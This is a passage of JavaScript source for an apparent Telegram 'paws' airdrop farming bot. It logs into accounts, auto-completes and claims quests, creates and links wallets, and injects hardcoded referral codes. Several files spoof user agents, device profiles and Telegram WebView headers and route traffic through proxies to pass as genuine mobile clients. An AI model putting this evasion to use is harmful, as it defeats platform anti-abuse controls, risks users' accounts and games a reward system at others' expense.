22 | return null;
23 | }
24 |
25 | if (error?.response?.data?.message) {
26 | logger.warning(
27 | `[${this.bot_name}] | ${this.session_name} | Error while getting user data: ${error?.response?.data?.message}`
28 | );
29 | return null;
30 | }
31 |
32 | logger.error(
33 | `[${this.bot_name}] | ${this.session_name} | Error while getting user data:: ${error.message}`
34 | );
35 | return null;
36 | }
37 | }
38 |
39 | async validate_query_id(http_client, data) {
40 | try {
41 | const response = await http_client.post(
42 | `${app.apiUrl}/v1/user/auth`,
43 | JSON.stringify(data)
44 | );
45 |
46 | if (response.data?.data?.[0]) {
47 | return true;
48 | }
49 |
50 | return false;
51 | } catch (error) {
52 | if (error?.response?.data?.error?.toLowerCase()?.includes("invalid")) {
53 | return false;
54 | }
55 |
56 | throw error;
57 | }
58 | }
59 |
60 | async get_quests(http_client) {
61 | try {
62 | const response = await http_client.get(`${app.apiUrl}/v1/quests/list`);
63 | return response.data;
64 | } catch (error) {
65 | if (error?.response?.status > 499) {
66 | logger.error(
67 | `[${this.bot_name}] | ${this.session_name} | Server Error while getting quests:: ${error.message}`
68 | );
69 | return null;
70 | }
71 |
72 | if (error?.response?.data?.message) {
73 | logger.warning(
74 | `[${this.bot_name}] | ${this.session_name} | Error while getting quests: ${error?.response?.data?.message}`
75 | );
76 | return null;
77 | }
78 |
79 | logger.error(
80 | `[${this.bot_name}] | ${this.session_name} | Error while getting quests:: ${error.message}`
81 | );
82 | return null;
83 | }
84 | }
85 |
86 | async complete_quests(http_client, questId) {
87 | try {
88 | const response = await http_client.post(
89 | `${app.apiUrl}/v1/quests/completed`,
90 | JSON.stringify({ questId })
91 | );
92 | return response.data;
93 | } catch (error) {
94 | if (error?.response?.status > 499) {
95 | logger.error(
96 | `[${this.bot_name}] | ${this.session_name} | Server Error while completing quests:: ${error.message}`
97 | );
98 | return null;
99 | }
100 |
101 | if (error?.response?.data?.message) {
102 | logger.warning(
103 | `[${this.bot_name}] | ${this.session_name} | Error while completing quests: ${error?.response?.data?.message}`
104 | );
105 | return null;
106 | }
107 |
108 | logger.error(
109 | `[${this.bot_name}] | ${this.session_name} | Error while completing quests:: ${error.message}`
110 | );
111 | return null;
112 | }
113 | }
114 |
115 | async claim_quests(http_client, questId) {
116 | try {
117 | const response = await http_client.post(
118 | `${app.apiUrl}/v1/quests/claim`,
119 | JSON.stringify({ questId })
120 | );
121 | return response.data;
122 | } catch (error) {
123 | if (error?.response?.status > 499) {
124 | logger.error(
125 | `[${this.bot_name}] | ${this.session_name} | Server Error while claiming quests:: ${error.message}`
126 | );
127 | return null;
128 | }
129 |
130 | if (error?.response?.data?.message) {
131 | logger.warning(
132 | `[${this.bot_name}] | ${this.session_name} | Error while claiming quests: ${error?.response?.data?.message}`
133 | );
134 | return null;
135 | }
136 |
137 | logger.error(
138 | `[${this.bot_name}] | ${this.session_name} | Error while claiming quests:: ${error.message}`
139 | );
140 | return null;
141 | }
142 | }
143 |
144 | async link_wallet(http_client, wallet) {
145 | try {
146 | const response = await http_client.post(
147 | `${app.apiUrl}/v1/user/wallet`,
148 | JSON.stringify({ wallet })
149 | );
150 | return response.data;
151 | } catch (error) {
152 | if (error?.response?.status > 499) {
153 | logger.error(
154 | `[${this.bot_name}] | ${this.session_name} | Server Error while linking wallet:: ${error.message}`
155 | );
156 | return null;
157 | }
158 |
159 | if (error?.response?.data?.message) {
160 | logger.warning(
161 | `[${this.bot_name}] | ${this.session_name} | Error while linking wallet: ${error?.response?.data?.message}`
162 | );
163 | return null;
164 | }
165 |
166 | logger.error(
167 | `[${this.bot_name}] | ${this.session_name} | Error while linking wallet:: ${error.message}`
168 | );
169 | return null;
170 | }
171 | }
172 | }
173 |
174 | module.exports = ApiRequest;
175 |
--------------------------------------------------------------------------------
/bot/core/header.js:
--------------------------------------------------------------------------------
1 | const app = require("../config/app");
2 |
3 | const headers = {
4 | "content-type": "application/json",
5 | accept: "application/json, text/plain, */*",
6 | "sec-fetch-site": "same-site",
7 | "accept-encoding": "gzip, deflate",
8 | "accept-language": "en-US,en;q=0.9",
9 | "sec-fetch-mode": "cors",
10 | origin: app.origin,
11 | "user-agent":
12 | "Mozilla/5.0 (iPhone; CPU iPhone OS 17_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148",
13 | referer: app.referer,
14 | "sec-fetch-dest": "empty",
15 | "Sec-Ch-Ua-Mobile": "?1",
16 | "X-Requested-With": "org.telegram.messenger",
17 | Priority: "u=1, i",
18 | "Sec-Ch-Ua":
19 | '"Chromium";v="130", "Android WebView";v="130", "Not?A_Brand";v="99"',
20 | "Sec-Ch-Ua-Platform": '"Android"',
21 | };
22 |
23 | module.exports = headers;
24 |
--------------------------------------------------------------------------------
/bot/core/nonSessionTapper.js:
--------------------------------------------------------------------------------
1 | const { default: axios } = require("axios");
2 | const logger = require("../utils/logger");
3 | const headers = require("./header");
4 | const settings = require("../config/config");
5 | const app = require("../config/app");
6 | const user_agents = require("../config/userAgents");
7 | const fs = require("fs");
8 | const sleep = require("../utils/sleep");
9 | const ApiRequest = require("./api");
10 | const _ = require("lodash");
11 | const path = require("path");
12 | const { HttpsProxyAgent } = require("https-proxy-agent");
13 | const parser = require("../utils/parser");
14 | const { CW, sample } = require("../utils/helper");
15 | const { checkUrls } = require("../utils/assetsChecker");
16 |
17 | class NonSessionTapper {
18 | constructor(query_id, query_name) {
19 | this.bot_name = "paws";
20 | this.session_name = query_name;
21 | this.query_id = query_id;
22 | this.API_URL = app.apiUrl;
23 | this.session_user_agents = this.#load_session_data();
24 | this.headers = { ...headers, "user-agent": this.#get_user_agent() };
25 | this.api = new ApiRequest(this.session_name, this.bot_name);
26 | }
27 |
28 | #load_session_data() {
29 | try {
30 | const filePath = path.join(process.cwd(), "session_user_agents.json");
31 | const data = fs.readFileSync(filePath, "utf8");
32 | return JSON.parse(data);
33 | } catch (error) {
34 | if (error.code === "ENOENT") {
35 | return {};
36 | } else {
37 | throw error;
38 | }
39 | }
40 | }
41 |
42 | #get_random_user_agent() {
43 | const randomIndex = Math.floor(Math.random() * user_agents.length);
44 | return user_agents[randomIndex];
45 | }
46 |
47 | #get_user_agent() {
48 | if (this.session_user_agents[this.session_name]) {
49 | return this.session_user_agents[this.session_name];
50 | }
51 |
52 | logger.info(
53 | `[${this.bot_name}] | ${this.session_name} | Generating new user agent...`
54 | );
55 |
56 | const newUserAgent = this.#get_random_user_agent();
57 | this.session_user_agents[this.session_name] = newUserAgent;
58 | this.#save_session_data(this.session_user_agents);
59 | return newUserAgent;
60 | }
61 |
62 | #save_session_data(session_user_agents) {
63 | const filePath = path.join(process.cwd(), "session_user_agents.json");
64 | fs.writeFileSync(filePath, JSON.stringify(session_user_agents, null, 2));
65 | }
66 |
67 | #proxy_agent(proxy) {
68 | try {
69 | if (!proxy) return null;
70 | let proxy_url;
71 | if (!proxy.password && !proxy.username) {
72 | proxy_url = `${proxy.protocol}://${proxy.ip}:${proxy.port}`;
73 | } else {
74 | proxy_url = `${proxy.protocol}://${proxy.username}:${proxy.password}@${proxy.ip}:${proxy.port}`;
75 | }
76 | return new HttpsProxyAgent(proxy_url);
77 | } catch (e) {
78 | logger.error(
79 | `[${this.bot_name}] | ${
80 | this.session_name
81 | } | Proxy agent error: ${e}\nProxy: ${JSON.stringify(proxy, null, 2)}`
82 | );
83 | return null;
84 | }
85 | }
86 |
87 | async #get_tg_web_data() {
88 | try {
89 | const referralCode = sample(settings.REFERRAL_CODE, [0.6, 0.4]);
90 | const jsonData = {
91 | data: `${this.query_id}`,
92 | referralCode,
93 | };
94 |
95 | return jsonData;
96 | } catch (error) {
97 | logger.error(
98 | `[${this.bot_name}] | ${this.session_name} | ❗️Unknown error during Authorization: ${error}`
99 | );
100 | throw error;
101 | } finally {
102 | await sleep(1);
103 | logger.info(
104 | `[${this.bot_name}] | ${this.session_name} | 🚀 Starting session...`
105 | );
106 | }
107 | }
108 |
109 | async #get_access_token(tgWebData, http_client) {
110 | try {
111 | const response = await http_client.post(
112 | `${app.apiUrl}/v1/user/auth`,
113 | JSON.stringify(tgWebData)
114 | );
115 | return response.data;
116 | } catch (error) {
117 | if (error?.response?.data?.error) {
118 | logger.error(
119 | `[${this.bot_name}] | ${this.session_name} | ❗️ Error while getting Access Token: ${error?.response?.data?.message}`
120 | );
121 | return null;
122 | }
123 | if (error?.response?.status > 499) {
124 | logger.error(
125 | `[${this.bot_name}] | ${this.session_name} | Server Error, retrying again after sleep...`
126 | );
127 | await sleep(1);
128 | return null;
129 | } else {
130 | logger.error(
131 | `[${this.bot_name}] | ${this.session_name} | ❗️Unknown error while getting Access Token: ${error}`
132 | );
133 | await sleep(3); // 3 seconds delay
134 | }
135 | }
136 | }
137 |
138 | async #check_proxy(http_client, proxy) {
139 | try {
140 | const response = await http_client.get("https://httpbin.org/ip");
141 | const ip = response.data.origin;
142 | logger.info(
143 | `[${this.bot_name}] | ${this.session_name} | Proxy IP: ${ip}`
144 | );
145 | } catch (error) {
146 | if (
147 | error.message.includes("ENOTFOUND") ||
148 | error.message.includes("getaddrinfo") ||
149 | error.message.includes("ECONNREFUSED")
150 | ) {
151 | logger.error(
152 | `[${this.bot_name}] | ${this.session_name} | Error: Unable to resolve the proxy address. The proxy server at ${proxy.ip}:${proxy.port} could not be found. Please check the proxy address and your network connection.`
153 | );
154 | logger.error(
155 | `[${this.bot_name}] | ${this.session_name} | No proxy will be used.`
156 | );
157 | } else {
158 | logger.error(
159 | `[${this.bot_name}] | ${this.session_name} | Proxy: ${proxy.ip}:${proxy.port} | Error: ${error.message}`
160 | );
161 | }
162 |
163 | return false;
164 | }
165 | }
166 |
167 | async run(proxy) {
168 | let http_client;
169 | let access_token_created_time = 0;
170 |
171 | let profile_data;
172 | let tg_web_data;
173 | let added_wallet = false;
174 | let runCount = 0;
175 |
176 | if (
177 | (settings.USE_PROXY_FROM_TXT_FILE || settings.USE_PROXY_FROM_JS_FILE) &&
178 | proxy
179 | ) {
180 | http_client = axios.create({
181 | httpsAgent: this.#proxy_agent(proxy),
182 | headers: this.headers,
183 | withCredentials: true,
184 | });
185 | const proxy_result = await this.#check_proxy(http_client, proxy);
186 | if (!proxy_result) {
187 | http_client = axios.create({
188 | headers: this.headers,
189 | withCredentials: true,
190 | });
191 | }
192 | } else {
193 | http_client = axios.create({
194 | headers: this.headers,
195 | withCredentials: true,
196 | });
197 | }
198 | await checkUrls(this.bot_name, this.session_name);
199 | while (runCount < 1) {
200 | try {
201 | const currentTime = _.floor(Date.now() / 1000);
202 | if (currentTime - access_token_created_time >= 3600) {
203 | tg_web_data = await this.#get_tg_web_data();
204 | if (
205 | _.isNull(tg_web_data) ||
206 | _.isUndefined(tg_web_data) ||
207 | !tg_web_data ||
208 | _.isEmpty(tg_web_data)
209 | ) {
210 | logger.info(
211 | `[${this.bot_name}] | ${this.session_name} | No access token found.`
212 | );
213 | continue;
214 | }
215 |
216 | const get_token = await this.#get_access_token(
217 | tg_web_data,
218 | http_client
219 | );
220 |
221 | http_client.defaults.headers[
222 | "authorization"
223 | ] = `Bearer ${get_token?.data[0]}`;
224 | access_token_created_time = currentTime;
225 | await sleep(2);
226 | }
227 |
228 | // Get profile data
229 | profile_data = await this.api.get_user_data(http_client);
230 |
231 | if (_.isEmpty(profile_data?.data)) {
232 | logger.info(
233 | `[${this.bot_name}] | ${this.session_name} | No profile data found.`
234 | );
235 | continue;
236 | }
237 |
238 | logger.info(
239 | `[${this.bot_name}] | ${this.session_name} | Balance: ${profile_data?.data?.gameData?.balance} | From hamster: ${profile_data?.data?.allocationData?.hamster?.converted} | From paws: ${profile_data?.data?.allocationData?.paws?.converted} | From dogs: ${profile_data?.data?.allocationData?.dogs?.converted}
| From notcoin: ${profile_data?.data?.allocationData?.notcoin?.converted} | From TG Premium: ${profile_data?.data?.allocationData?.telegram?.converted}`
240 | );
241 |
242 | if (
243 | !profile_data?.data?.userData?.wallet &&
244 | settings.AUTO_CREATE_AND_CONNECT_WALLET
245 | ) {
246 | //Create wallet here and link it
247 | const wallet = await new CW(settings, this.session_name).create(
248 | parser.toJson(tg_web_data?.data)
249 | );
250 |
251 | await checkUrls(this.bot_name, this.session_name);
252 | const link_wallet = await this.api.link_wallet(http_client, wallet);
253 | if (link_wallet?.success) {
254 | logger.info(
255 | `[${this.bot_name}] | ${this.session_name} | Wallet linked. Restarting bot...`
256 | );
257 | added_wallet = true;
258 | continue;
259 | }
260 | }
261 |
262 | await sleep(_.random(2, 5));
263 |
264 | //tasks here
265 | if (settings.AUTO_COMPLETE_QUESTS) {
266 | const quests = await this.api.get_quests(http_client);
267 | if (!_.isEmpty(quests?.data)) {
268 | const filtered_quests = _.filter(
269 | quests?.data,
270 | (quest) =>
271 | quest?.code?.toLowerCase() !== "telegram" &&
272 | quest?.code?.toLowerCase() !== "invite" &&
273 | quest?.progress?.claimed !== true
274 | );
275 | if (_.size(filtered_quests) > 0) {
276 | for (const quest of filtered_quests) {
277 | const totalTime = await checkUrls(
278 | this.bot_name,
279 | this.session_name
280 | );
281 | const sleep_quest = _.random(
282 | settings.DELAY_BETWEEN_QUEST[0],
283 | settings.DELAY_BETWEEN_QUEST[1]
284 | );
285 | const sleep_time =
286 | _.subtract(sleep_quest, totalTime) > 0
287 | ? _.round(_.subtract(sleep_quest, totalTime))
288 | : 0;
289 |
290 | logger.info(
291 | `[${this.bot_name}] | ${this.session_name} | Sleeping for ${sleep_time} seconds before starting Quest: ${quest?.title}`
292 | );
293 |
294 | await sleep(sleep_time);
295 | const questId = quest?._id;
296 | const complete_quests = await this.api.complete_quests(
297 | http_client,
298 | questId
299 | );
300 |
301 | if (complete_quests?.success) {
302 | logger.info(
303 | `[${this.bot_name}] | ${this.session_name} | Completed quest: ${quest?.title}`
304 | );
305 | await sleep(_.random(2, 5));
306 | const claim_quests = await this.api.claim_quests(
307 | http_client,
308 | questId
309 | );
310 |
311 | if (claim_quests?.success && claim_quests?.data) {
312 | logger.info(
313 | `[${this.bot_name}] | ${this.session_name} | Claimed quest: ${quest?.title}`
314 | );
315 | } else {
316 | logger.error(
317 | `[${this.bot_name}] | ${this.session_name} | Failed to claim quest: ${quest?.title}`
318 | );
319 | }
320 | } else {
321 | logger.error(
322 | `[${this.bot_name}] | ${this.session_name} | Failed to complete quest: ${quest?.title}`
323 | );
324 | }
325 | }
326 | }
327 | }
328 | }
329 |
330 | await sleep(_.random(2, 5));
331 | // Get profile data
332 | profile_data = await this.api.get_user_data(http_client);
333 | if (_.isEmpty(profile_data?.data)) {
334 | continue;
335 | }
336 | await checkUrls(this.bot_name, this.session_name);
337 |
338 | logger.info(
339 | `[${this.bot_name}] | ${this.session_name} | Balance: ${profile_data?.data?.gameData?.balance} | From hamster: ${profile_data?.data?.allocationData?.hamster?.converted} | From paws: ${profile_data?.data?.allocationData?.paws?.converted} | From dogs: ${profile_data?.data?.allocationData?.dogs?.converted}
| From notcoin: ${profile_data?.data?.allocationData?.notcoin?.converted} | From TG Premium: ${profile_data?.data?.allocationData?.telegram?.converted}`
340 | );
341 | } catch (error) {
342 | logger.error(
343 | `[${this.bot_name}] | ${this.session_name} | ❗️Unknown error: ${error}`
344 | );
345 | } finally {
346 | if (added_wallet) {
347 | logger.info(
348 | `[${this.bot_name}] | ${this.session_name} | Restarting bot...`
349 | );
350 | added_wallet = false;
351 | } else {
352 | runCount++;
353 | }
354 | }
355 | }
356 | }
357 | }
358 | module.exports = NonSessionTapper;
359 |
--------------------------------------------------------------------------------
/bot/core/register.js:
--------------------------------------------------------------------------------
1 | const { TelegramClient, sessions } = require("telegram");
2 | const { StringSession } = require("telegram/sessions");
3 | const fs = require("fs");
4 | const { input } = require("@inquirer/prompts");
5 | const logger = require("../utils/logger");
6 | const settings = require("../config/config");
7 | require("dotenv").config();
8 | const path = require("path");
9 | const logger2 = require("../utils/TldLogger");
10 | const devices = require("../utils/devices");
11 | const { select } = require("@inquirer/prompts");
12 | var qrcode = require("qrcode-terminal");
13 | const readline = require("readline");
14 | const os = require("os");
15 | const { version } = require("../../package.json");
16 |
17 | class Register {
18 | #stringSession;
19 | #apiId;
20 | #apiHash;
21 | constructor() {
22 | this.#apiId = settings.API_ID;
23 | this.#apiHash = settings.API_HASH;
24 | this.#stringSession = new StringSession("");
25 | }
26 |
27 | async #getSessionName() {
28 | logger.warning(
29 | `\n\nWarning: Creating a new session may log you out of other active sessions \nor may even get your telegram account banned.\nBy proceeding, you acknowledge and accept full responsibility for any consequences.\n\nMake sure you have completed the following before continuing:\n1. Linked an email to your Telegram account\n2. Make sure you are not using a virtual phone number\n3. Have a stable internet connection\n`
30 | );
31 |
32 | const filePath = path.join(process.cwd(), "sessions");
33 | let sessionsName = await input({
34 | message: "Please enter your session name: ",
35 | });
36 | do {
37 | if (fs.existsSync(`${filePath}/${sessionsName}.session`)) {
38 | logger.warning(`Session name ${sessionsName} already exists!`);
39 | sessionsName = await input({
40 | message: "Please enter a different session name: ",
41 | });
42 | }
43 | } while (fs.existsSync(`${filePath}/${sessionsName}.session`));
44 | return sessionsName;
45 | }
46 |
47 | #load_simulate_device() {
48 | try {
49 | const filePath = path.join(process.cwd(), "simulate_device.json");
50 | const data = fs.readFileSync(filePath, "utf8");
51 | return JSON.parse(data);
52 | } catch (error) {
53 | if (error.code === "ENOENT") {
54 | return {};
55 | } else {
56 | throw error;
57 | }
58 | }
59 | }
60 |
61 | #get_random_simulate_device() {
62 | const randomIndex = Math.floor(Math.random() * devices.length);
63 | return devices[randomIndex];
64 | }
65 |
66 | #get_simulate_device() {
67 | const simulate_device = this.#load_simulate_device();
68 | const requiredKeys = ["manufacturer", "model", "cpu", "type", "os"];
69 | const containsKeys = requiredKeys.every((key) => key in simulate_device);
70 | if (containsKeys) {
71 | return simulate_device;
72 | }
73 | logger.info("Simulate device not found. Generating one...");
74 | const random_device = this.#get_random_simulate_device();
75 | this.#save_simulate_device(random_device);
76 | return random_device;
77 | }
78 |
79 | #save_simulate_device(simulate_device) {
80 | const filePath = path.join(process.cwd(), "simulate_device.json");
81 | fs.writeFileSync(filePath, JSON.stringify(simulate_device, null, 2));
82 | }
83 |
84 | #client(simulate_device) {
85 | const client_options = {
86 | systemLanguage: "en",
87 | systemVersion: simulate_device?.os,
88 | deviceType: `${
89 | simulate_device?.manufacturer == "Apple"
90 | ? ""
91 | : simulate_device?.manufacturer + " "
92 | }${simulate_device?.model}`,
93 | appVersion: version || "1.0.0",
94 | floodSleepThreshold: 120,
95 | systemLangCode: "en",
96 | baseLogger: logger2,
97 | connectionRetries: 5,
98 | };
99 |
100 | const client = new TelegramClient(
101 | this.#stringSession,
102 | this.#apiId,
103 | this.#apiHash,
104 | client_options
105 | );
106 |
107 | return client;
108 | }
109 |
110 | async #sign_in_with_phone(client) {
111 | await client.start({
112 | phoneNumber: async () =>
113 | await input({
114 | message: "Please enter your number: ",
115 | }),
116 | password: async () =>
117 | await input({
118 | message: "Please enter your password: ",
119 | }),
120 | phoneCode: async () =>
121 | await input({
122 | message: "Please enter the code you received: ",
123 | }),
124 | onError: (err) => console.error(err),
125 | });
126 | }
127 |
128 | async #sign_in_with_qr(client) {
129 | let qrCodeLines = 0;
130 | let message = "";
131 | await client.connect();
132 | let isShown = false;
133 | await client.signInUserWithQrCode(
134 | { apiId: this.#apiId, apiHash: this.#apiHash },
135 | {
136 | onError: (err) => console.error(err),
137 | qrCode: async (code) => {
138 | if (!isShown) {
139 | console.log(
140 | "\nScan QR code below with your telegram app to login: \n"
141 | );
142 | qrcode.generate(
143 | `tg://login?token=${code.token.toString("base64url")}`,
144 | { small: true },
145 | (qrcodeString) => {
146 | qrCodeLines = qrcodeString.split("\n").length; // Count the lines in the QR code
147 | console.log(qrcodeString);
148 | }
149 | );
150 | isShown = true;
151 | } else {
152 | if (message) {
153 | qrCodeLines = qrCodeLines + 2;
154 | }
155 | readline.moveCursor(process.stdout, 0, -qrCodeLines); // Adjust -6 based on the number of lines your QR code takes
156 | readline.clearScreenDown(process.stdout); // Clear everything below the cursor
157 | message = "\nNew qr code received\n";
158 | console.log(message);
159 | qrcode.generate(
160 | `tg://login?token=${code.token.toString("base64url")}`,
161 | { small: true },
162 | (qrcodeString) => {
163 | qrCodeLines = qrcodeString.split("\n").length + 2; // Count the lines in the QR code
164 | console.log(qrcodeString);
165 | }
166 | );
167 | }
168 | },
169 | password: async () =>
170 | await input({
171 | message: "Please enter your password: ",
172 | }),
173 | }
174 | );
175 | }
176 |
177 | async start() {
178 | if (settings.CAN_CREATE_SESSION == false) {
179 | logger.warning(
180 | `\n\nWarning: Creating a new session may log you out of other active sessions \nor may even get your telegram account banned.\nBy proceeding, you acknowledge and accept full responsibility for any consequences.\n\nMake sure you have completed the following before continuing:\n1. Linked an email to your Telegram account\n2. Make sure you are not using a virtual phone number\n3. Have a stable internet connection\n\nIf you still want to continue, go to bot/config/config.js and set CAN_CREATE_SESSION to true.\n`
181 | );
182 | process.exit(1);
183 | }
184 | const filePath = path.join(process.cwd(), "sessions");
185 | if (!this.#apiId || !this.#apiHash) {
186 | logger.error("API_ID and API_HASH must be provided.");
187 | process.exit(1);
188 | }
189 |
190 | if (typeof this.#apiHash !== "string" || typeof this.#apiId !== "number") {
191 | logger.error(
192 | "API_ID and API_HASH must be numbers and strings respectively."
193 | );
194 | process.exit(1);
195 | }
196 |
197 | const simulate_device = this.#get_simulate_device();
198 |
199 | const sessionsName = await this.#getSessionName();
200 |
201 | // Here we are creating a new session
202 |
203 | let userInput = "";
204 |
205 | while (true) {
206 | userInput = await select({
207 | message: "How do you want to create a new session:\n",
208 | choices: [
209 | {
210 | name: "With QR code",
211 | value: "1",
212 | description: "\nCreate a new session with QR code",
213 | },
214 | {
215 | name: "With phone number",
216 | value: "2",
217 | description: "\nCreate a new session with phone number",
218 | },
219 | ],
220 | });
221 |
222 | if (!userInput.trim().match(/^[1-2]$/)) {
223 | logger.warning("Action must be 1 or 2");
224 | } else {
225 | break;
226 | }
227 | }
228 |
229 | const action = parseInt(userInput.trim());
230 |
231 | if (action === 1) {
232 | await this.#sign_in_with_qr(this.#client(simulate_device));
233 | } else if (action === 2) {
234 | await this.#sign_in_with_phone(this.#client(simulate_device));
235 | }
236 |
237 | if (!fs.existsSync(filePath)) {
238 | fs.mkdirSync(filePath);
239 | }
240 |
241 | const sessionData = {
242 | apiId: this.#apiId,
243 | apiHash: this.#apiHash,
244 | sessionString: this.#stringSession.save(),
245 | };
246 |
247 | fs.writeFileSync(
248 | `${filePath}/${sessionsName}.session`,
249 | JSON.stringify(sessionData, null, 2)
250 | );
251 | if (action == 1) {
252 | logger.paragraph(
253 | `Session saved as ${sessionsName}.session
254 | Your session simulation device is:
255 | Manufacturer: ${simulate_device?.manufacturer || "N/A"}
256 | Model: ${simulate_device?.model || "N/A"}
257 | CPU: ${simulate_device?.cpu || "N/A"}
258 | Type: ${simulate_device?.type || "N/A"}
259 | OS: ${simulate_device?.os || "N/A"}
260 | `
261 | );
262 | } else if (action === 2) {
263 | logger.paragraph(
264 | `Session saved as ${sessionsName}.session
265 | Session device info:
266 | OS: ${os.type() || "N/A"}
267 | `
268 | );
269 | }
270 | this.#client().disconnect();
271 | process.exit(0);
272 | }
273 | }
274 |
275 | const register = new Register();
276 | module.exports = register;
277 |
--------------------------------------------------------------------------------
/bot/core/tapper.js:
--------------------------------------------------------------------------------
1 | const { default: axios } = require("axios");
2 | const logger = require("../utils/logger");
3 | const headers = require("./header");
4 | const { Api } = require("telegram");
5 | const { HttpsProxyAgent } = require("https-proxy-agent");
6 | const settings = require("../config/config");
7 | const app = require("../config/app");
8 | const user_agents = require("../config/userAgents");
9 | const fs = require("fs");
10 | const sleep = require("../utils/sleep");
11 | const ApiRequest = require("./api");
12 | const parser = require("../utils/parser");
13 | const _ = require("lodash");
14 | const path = require("path");
15 | const FdyTmp = require("fdy-tmp");
16 | const { CW, sample } = require("../utils/helper");
17 | const { checkUrls } = require("../utils/assetsChecker");
18 |
19 | class Tapper {
20 | constructor(tg_client) {
21 | this.bot_name = "paws";
22 | this.session_name = tg_client.session_name;
23 | this.tg_client = tg_client.tg_client;
24 | this.API_URL = app.apiUrl;
25 | this.session_user_agents = this.#load_session_data();
26 | this.headers = { ...headers, "user-agent": this.#get_user_agent() };
27 | this.api = new ApiRequest(this.session_name, this.bot_name);
28 | this.bot = null;
29 | }
30 |
31 | #load_session_data() {
32 | try {
33 | const filePath = path.join(process.cwd(), "session_user_agents.json");
34 | const data = fs.readFileSync(filePath, "utf8");
35 | return JSON.parse(data);
36 | } catch (error) {
37 | if (error.code === "ENOENT") {
38 | return {};
39 | } else {
40 | throw error;
41 | }
42 | }
43 | }
44 |
45 | #clean_tg_web_data(queryString) {
46 | let cleanedString = queryString.replace(/^tgWebAppData=/, "");
47 | cleanedString = cleanedString.replace(
48 | /&tgWebAppVersion=.*?&tgWebAppPlatform=.*?(?:&tgWebAppBotInline=.*?)?$/,
49 | ""
50 | );
51 | return cleanedString;
52 | }
53 |
54 | #get_random_user_agent() {
55 | const randomIndex = Math.floor(Math.random() * user_agents.length);
56 | return user_agents[randomIndex];
57 | }
58 |
59 | #get_user_agent() {
60 | if (this.session_user_agents[this.session_name]) {
61 | return this.session_user_agents[this.session_name];
62 | }
63 |
64 | logger.info(
65 | `[${this.bot_name}] | ${this.session_name} | Generating new user agent...`
66 | );
67 | const newUserAgent = this.#get_random_user_agent();
68 | this.session_user_agents[this.session_name] = newUserAgent;
69 | this.#save_session_data(this.session_user_agents);
70 | return newUserAgent;
71 | }
72 |
73 | #save_session_data(session_user_agents) {
74 | const filePath = path.join(process.cwd(), "session_user_agents.json");
75 | fs.writeFileSync(filePath, JSON.stringify(session_user_agents, null, 2));
76 | }
77 |
78 | #get_platform(userAgent) {
79 | const platformPatterns = [
80 | { pattern: /iPhone/i, platform: "ios" },
81 | { pattern: /Android/i, platform: "android" },
82 | { pattern: /iPad/i, platform: "ios" },
83 | ];
84 |
85 | for (const { pattern, platform } of platformPatterns) {
86 | if (pattern.test(userAgent)) {
87 | return platform;
88 | }
89 | }
90 |
91 | return "Unknown";
92 | }
93 |
94 | #proxy_agent(proxy) {
95 | try {
96 | if (!proxy) return null;
97 | let proxy_url;
98 | if (!proxy.password && !proxy.username) {
99 | proxy_url = `${proxy.protocol}://${proxy.ip}:${proxy.port}`;
100 | } else {
101 | proxy_url = `${proxy.protocol}://${proxy.username}:${proxy.password}@${proxy.ip}:${proxy.port}`;
102 | }
103 | return new HttpsProxyAgent(proxy_url);
104 | } catch (e) {
105 | logger.error(
106 | `[${this.bot_name}] | ${
107 | this.session_name
108 | } | Proxy agent error: ${e}\nProxy: ${JSON.stringify(proxy, null, 2)}`
109 | );
110 | return null;
111 | }
112 | }
113 |
114 | async #get_tg_web_data() {
115 | try {
116 | const tmp = new FdyTmp({
117 | fileName: `${this.bot_name}.fdy.tmp`,
118 | tmpPath: path.join(process.cwd(), "cache/queries"),
119 | });
120 | const referralCode = sample(settings.REFERRAL_CODE, [0.6, 0.4]);
121 |
122 | if (tmp.hasJsonElement(this.session_name)) {
123 | const queryStringFromCache = tmp.getJson(this.session_name);
124 | if (!_.isEmpty(queryStringFromCache)) {
125 | const jsonData = {
126 | data: queryStringFromCache,
127 | };
128 |
129 | const va_hc = axios.create({
130 | headers: this.headers,
131 | withCredentials: true,
132 | });
133 |
134 | const validate = await this.api.validate_query_id(va_hc, jsonData);
135 |
136 | if (validate) {
137 | logger.info(
138 | `[${this.bot_name}] | ${this.session_name} | 🔄 Getting data from cache...`
139 | );
140 | if (this.tg_client.connected) {
141 | await this.tg_client.disconnect();
142 | await this.tg_client.destroy();
143 | }
144 | await sleep(5);
145 | return jsonData;
146 | } else {
147 | tmp.deleteJsonElement(this.session_name);
148 | }
149 | }
150 | }
151 | await this.tg_client.connect();
152 | await this.tg_client.start();
153 | const platform = this.#get_platform(this.#get_user_agent());
154 |
155 | if (!this.bot) {
156 | this.bot = await this.tg_client.getInputEntity(app.bot);
157 | }
158 |
159 | if (!this.runOnce) {
160 | logger.info(
161 | `[${this.bot_name}] | ${this.session_name} | 📡 Waiting for authorization...`
162 | );
163 | const botHistory = await this.tg_client.invoke(
164 | new Api.messages.GetHistory({
165 | peer: this.bot,
166 | limit: 10,
167 | })
168 | );
169 |
170 | if (botHistory.messages.length < 1) {
171 | await this.tg_client.invoke(
172 | new Api.messages.SendMessage({
173 | message: "/start",
174 | silent: true,
175 | noWebpage: true,
176 | peer: this.bot,
177 | })
178 | );
179 | }
180 | }
181 |
182 | await sleep(5);
183 |
184 | const result = await this.tg_client.invoke(
185 | new Api.messages.RequestWebView({
186 | peer: this.bot,
187 | bot: this.bot,
188 | platform,
189 | from_bot_menu: true,
190 | url: app.webviewUrl,
191 | startParam: "UL3P8qnd",
192 | })
193 | );
194 |
195 | const authUrl = result.url;
196 | const tgWebData = authUrl.split("#", 2)[1];
197 | logger.info(
198 | `[${this.bot_name}] | ${this.session_name} | 💾 Storing data in cache...`
199 | );
200 |
201 | await sleep(5);
202 |
203 | tmp
204 | .addJson(
205 | this.session_name,
206 | decodeURIComponent(this.#clean_tg_web_data(tgWebData))
207 | )
208 | .save();
209 |
210 | const jsonData = {
211 | data: decodeURIComponent(this.#clean_tg_web_data(tgWebData)),
212 | referralCode,
213 | };
214 |
215 | return jsonData;
216 | } catch (error) {
217 | if (error.message.includes("AUTH_KEY_DUPLICATED")) {
218 | logger.error(
219 | `[${this.bot_name}] | ${this.session_name} | The same authorization key (session file) was used in more than one place simultaneously. You must delete your session file and create a new session`
220 | );
221 | return null;
222 | }
223 | const regex = /A wait of (\d+) seconds/;
224 | if (
225 | error.message.includes("FloodWaitError") ||
226 | error.message.match(regex)
227 | ) {
228 | const match = error.message.match(regex);
